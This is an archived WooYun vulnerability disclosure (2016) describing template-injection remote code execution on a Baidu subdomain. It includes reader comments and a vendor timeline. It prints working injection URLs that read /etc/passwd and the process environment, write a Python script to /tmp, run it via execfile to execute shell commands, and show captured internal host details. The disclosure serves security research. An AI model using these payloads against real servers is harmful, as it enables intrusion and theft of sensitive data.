破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令)

编号189837
Urlhttp://www.wooyun.org/bug.php?action=view&id=189837
漏洞状态厂商已经确认
漏洞标题百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令)
漏洞类型命令执行
厂商百度
白帽子lijiejie
提交日期2016-03-27 23:17:00
公开日期2016-05-11 23:20:00
修复时间(not set)
确认时间2016-03-27 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank15
漏洞简介
百度某站点python模板远程代码执行, 可以执行任意python代码,进而执行任意系统命令(本例演示exec被禁的情况下执行系统命令的一种方法)
漏洞细节

http://t.youhua.baidu.com/{{open('/etc/passwd').read()}}/about.html


python模板存在代码执行,可以执行任意python脚本。

POC

先读取passwd:

http://t.youhua.baidu.com/{{open('/etc/passwd').read()}}/about.html


baidu_passwd.png


再读取/proc/self/environ(不截图了),得到:

LESSOPEN=|/usr/bin/lesspipe.sh %s
CVS_RSH=ssh
LOGNAME=work
USER=work
QTDIR=/usr/lib64/qt-3.3
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/opt/bin:/home/opt/bin:/home/work/bin
LANG=en_US
TERM=xterm
SHELL=/bin/bash
SHLVL=1
G_BROKEN_FILENAMES=1
SUPERVISOR_ENABLED=1
HISTSIZE=1000
SUDO_USER=hanfeihan
HOME=/home/work
MODULESHOME=/usr/share/Modules
USERNAME=work
SUDO_UID=192434
SUPERVISOR_PROCESS_NAME=uwsgi
SUPERVISOR_SERVER_URL=unix:///home/work/lingyun/program/supervisor/run/supervisor.sock
_=/home/work/lingyun/python/bin/supervisord
MODULEPATH=/usr/share/Modules/modulefiles:/etc/modulefiles
SUDO_COMMAND=/bin/bash
SUDO_GID=100000
OLDPWD=/home/work/lingyun/program
HOSTNAME=gzns-scloud-fhl-lingyun02.gzns.baidu.com
HISTCONTROL=ignoredups
PWD=/home/work/lingyun/program/supervisor
MAIL=/var/spool/mail/work
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.tbz=01;31:*.tbz2=01;31:*.bz=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.au=01;36:*.flac=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.axa=01;36:*.oga=01;36:*.spx=01;36:*.xspf=01;36:
SUPERVISOR_GROUP_NAME=uwsgi
UWSGI_RELOADS=125
UWSGI_ORIGINAL_PROC_NAME=/home/work/lingyun/program/uwsgi/uwsgi


可以知道,当前用户是普通用户work。读hosts:

127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
10.42.7.124 api.su.baidu.com


尝试读取/home/work/.bash_history,失败了,说明文件不存在。
继续测试exec执行代码,也失败了,估计是被框架或者百度去掉了:

baidu_exec_fail.png


eval是可以的,然而要执行系统命令,只有eval还做不到。

baidu_eval.png


注意: 此处模板中是无法执行多行的,为了执行系统命令,基本的思路是先写临时文件到/tmp,然后通过execfile函数来执行,把命令执行结果输出到/tmp/output,再读取/tmp/output的内容

写test.py: http://t.youhua.baidu.com/{{open('/tmp/test.py','w').write('import os;os.system("ps aux > /tmp/output")')}}/about.html 
读取test.py核对:http://t.youhua.baidu.com/{{open('/tmp/test.py').read()}}/about.html
执行test.py: http://t.youhua.baidu.com/{{execfile('/tmp/test.py')}}/about.html
读取output: http://t.youhua.baidu.com/{{open('/tmp/output').read()}}/about.html


如下图所示,已经可以执行系统命令,可进一步获取系统中的源代码和敏感配置信息。

baidu_ps_output.png


修复方案

过滤禁止任意python代码执行

状态信息 2016-03-27: 细节已通知厂商并且等待厂商处理中
2016-03-27: 厂商已经确认,细节仅向厂商公开
2016-04-06: 细节向核心白帽子及相关领域专家公开
2016-04-16: 细节向普通白帽子公开
2016-04-26: 细节向实习白帽子公开
2016-05-11: 细节向公众公开
厂商回复感谢对百度安全的关注
回应信息危害等级:高漏洞Rank:15 确认时间:2016-03-27 23:20
Showing 1-15 of 15 items.
评论内容评论人点赞数评论时间

.....没用过模板 完全不知道原因、

whynot02016-04-27 19:46:00

杰杰能说说為甚麼你知道它可以执行python代码的呢?

sysALong02016-04-27 18:23:00

这真心应该来个雷啊!

null_z02016-04-27 18:09:00

我要做第一百个关注者

LaTCue02016-03-29 22:26:00

jinja?

Cyrils02016-03-28 10:24:00

现在还算前排吗

Rand0m02016-03-28 09:13:00

引入模块?

陆由乙02016-03-28 08:27:00

前排。

_Thorns02016-03-28 00:43:00

卧槽,姐姐真厉害

sqlfeng02016-03-27 23:42:00

支持os吗?

scanf02016-03-27 23:38:00

前排。。

随风的风02016-03-27 23:26:00

qianpai

Mark0smith02016-03-27 23:25:00

前排

answer02016-03-27 23:20:00

前排!

玉林嘎02016-03-27 23:20:00

经典!

疯狗02016-03-27 23:19:00